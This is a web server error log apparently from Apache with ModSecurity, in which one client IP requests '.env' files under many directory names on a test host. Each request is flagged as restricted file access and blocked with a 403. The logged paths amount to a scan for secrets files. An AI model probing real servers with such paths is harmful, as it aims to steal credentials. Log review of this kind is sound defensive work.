[Mon Jul 28 20:46:05.838935 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cgi-bin/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXngAAAAU&quot;]
[Mon Jul 28 20:46:05.883407 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch2-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch2-mytodo/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXoAAAAAU&quot;]
[Mon Jul 28 20:46:05.883613 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch2-mytodo/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXoAAAAAU&quot;]
[Mon Jul 28 20:46:05.883781 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch2-mytodo/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXoAAAAAU&quot;]
[Mon Jul 28 20:46:05.905866 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch6-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6-mytodo/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXoQAAAAU&quot;]
[Mon Jul 28 20:46:05.906100 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6-mytodo/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXoQAAAAU&quot;]
[Mon Jul 28 20:46:05.906279 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6-mytodo/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXoQAAAAU&quot;]
[Mon Jul 28 20:46:05.928403 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch6a-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6a-mytodo/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXogAAAAU&quot;]
[Mon Jul 28 20:46:05.928612 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6a-mytodo/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXogAAAAU&quot;]
[Mon Jul 28 20:46:05.928767 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6a-mytodo/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXogAAAAU&quot;]
[Mon Jul 28 20:46:05.950722 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch7-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7-mytodo/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXowAAAAU&quot;]
[Mon Jul 28 20:46:05.950947 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7-mytodo/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXowAAAAU&quot;]
[Mon Jul 28 20:46:05.951111 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7-mytodo/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXowAAAAU&quot;]
[Mon Jul 28 20:46:05.973237 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch7a-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7a-mytodo/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXpAAAAAU&quot;]
[Mon Jul 28 20:46:05.973463 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7a-mytodo/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXpAAAAAU&quot;]
[Mon Jul 28 20:46:05.973617 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7a-mytodo/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXpAAAAAU&quot;]
[Mon Jul 28 20:46:05.995445 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch8-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8-mytodo/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXpQAAAAU&quot;]
[Mon Jul 28 20:46:05.995662 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8-mytodo/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXpQAAAAU&quot;]
[Mon Jul 28 20:46:05.995827 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8-mytodo/.env&quot;] [unique_id &quot;aIfFbQ9nLjdPblA-25FXpQAAAAU&quot;]
[Mon Jul 28 20:46:06.017828 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch8a-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8a-mytodo/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXpgAAAAU&quot;]
[Mon Jul 28 20:46:06.018033 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8a-mytodo/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXpgAAAAU&quot;]
[Mon Jul 28 20:46:06.018194 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8a-mytodo/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXpgAAAAU&quot;]
[Mon Jul 28 20:46:06.040433 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch8b-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8b-mytodo/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXpwAAAAU&quot;]
[Mon Jul 28 20:46:06.040774 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8b-mytodo/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXpwAAAAU&quot;]
[Mon Jul 28 20:46:06.041035 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8b-mytodo/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXpwAAAAU&quot;]
[Mon Jul 28 20:46:06.062918 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /chai/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Chai/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXqAAAAAU&quot;]
[Mon Jul 28 20:46:06.063130 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Chai/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXqAAAAAU&quot;]
[Mon Jul 28 20:46:06.063316 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Chai/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXqAAAAAU&quot;]
[Mon Jul 28 20:46:06.085248 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /challenge/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenge/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXqQAAAAU&quot;]
[Mon Jul 28 20:46:06.085467 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenge/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXqQAAAAU&quot;]
[Mon Jul 28 20:46:06.085623 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenge/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXqQAAAAU&quot;]
[Mon Jul 28 20:46:06.107566 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /challenges/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenges/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXqgAAAAU&quot;]
[Mon Jul 28 20:46:06.107776 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenges/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXqgAAAAU&quot;]
